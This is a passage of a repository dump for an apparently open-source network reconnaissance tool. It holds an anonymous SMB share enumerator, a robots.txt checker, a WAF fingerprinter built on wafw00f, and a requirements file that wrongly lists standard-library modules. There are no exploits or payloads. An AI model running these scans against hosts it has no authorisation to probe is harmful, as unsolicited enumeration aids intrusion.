40 | details = {
41 | 'subject': subject_cn,
42 | 'issuer': issuer_cn,
43 | 'valid_from': cert['notBefore'],
44 | 'valid_to': cert['notAfter'],
45 | 'version': cert.get('version'),
46 | 'serial_number': cert.get('serialNumber')
47 | }
48 | return details
49 |
--------------------------------------------------------------------------------
/plugins/protocolscan/smbscanner.py:
--------------------------------------------------------------------------------
1 | from smb.SMBConnection import SMBConnection
2 | from colorama import Fore,Style,init
3 |
4 | init(autoreset=True)
5 |
6 | class SMBScanner:
7 | def __init__(self, target, timeout=5):
8 | self.target = target
9 | self.timeout = timeout
10 | self.smb_ports = [139, 445]
11 |
12 | # test aşamasında
13 |
14 | def scan_smb(self):
15 | results = {}
16 | for port in self.smb_ports:
17 | try:
18 | conn = SMBConnection('', '', 'smbclient', self.target, use_ntlm_v2=True)
19 | connected = conn.connect(self.target, port, timeout=self.timeout)
20 |
21 | if connected:
22 | shares = conn.listShares(timeout=self.timeout)
23 | share_info = self.get_shares_info(shares)
24 | results[port] = {"shares": share_info}
25 | else:
26 | results[port] = {"error": "Unable to connect to the SMB service."}
27 | conn.close()
28 | except Exception as e:
29 | results[port] = {"error": str(e)}
30 | return results
31 |
32 | def get_shares_info(self, shares):
33 | share_info = []
34 | for share in shares:
35 | share_info.append({
36 | "name": share.name,
37 | "type": share.type,
38 | "comments": share.comments
39 | })
40 | return share_info
41 |
42 | def format_scan_results(self, results):
43 | formatted_result = ""
44 | for port, data in results.items():
45 | formatted_result += f"\n{Fore.BLUE}Port {port}:{Style.RESET_ALL}\n"
46 | if isinstance(data, dict) and 'shares' in data:
47 | for share in data['shares']:
48 | share_name = share['name']
49 | comments = share['comments'] or 'No Comments'
50 | formatted_result += f" {Fore.GREEN}- {share_name}:{Style.RESET_ALL} {comments}\n"
51 | else:
52 | formatted_result += f" {data}\n"
53 | return formatted_result
--------------------------------------------------------------------------------
/plugins/webScanner/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/webScanner/__init__.py
--------------------------------------------------------------------------------
/plugins/webScanner/robotsscanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | class RobotsScanner:
4 | def __init__(self, base_url):
5 | self.base_url = base_url
6 |
7 | def scan_robots(self):
8 | robots_url = f"{self.base_url}/robots.txt"
9 | try:
10 | response = requests.get(robots_url)
11 | if response.status_code == 200:
12 | return "Found"
13 | else:
14 | pass
15 | except requests.RequestException:
16 | pass
17 | def run_scan(self):
18 | return self.scan_robots()
19 |
--------------------------------------------------------------------------------
/plugins/webScanner/wafScanner.py:
--------------------------------------------------------------------------------
1 | from wafw00f import main
2 |
3 | class WAFDetector:
4 | def __init__(self, url):
5 | self.url = url
6 |
7 | def detect_waf(self):
8 | waf_detector = main.WAFW00F(self.url)
9 | waf_info = waf_detector.identwaf()
10 | if not waf_info:
11 | waf_info = waf_detector.genericdetect()
12 | return waf_info
13 |
14 |
15 | """
16 | # Örnek kullanım
17 | url = "https://google.com"
18 | detector = WAFDetector(url)
19 | detected_waf = detector.detect_waf()
20 | print(detected_waf)"""
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | argparse
2 | socket
3 | sys
4 | threading
5 | time
6 | queue
7 | shodan
8 |
--------------------------------------------------------------------------------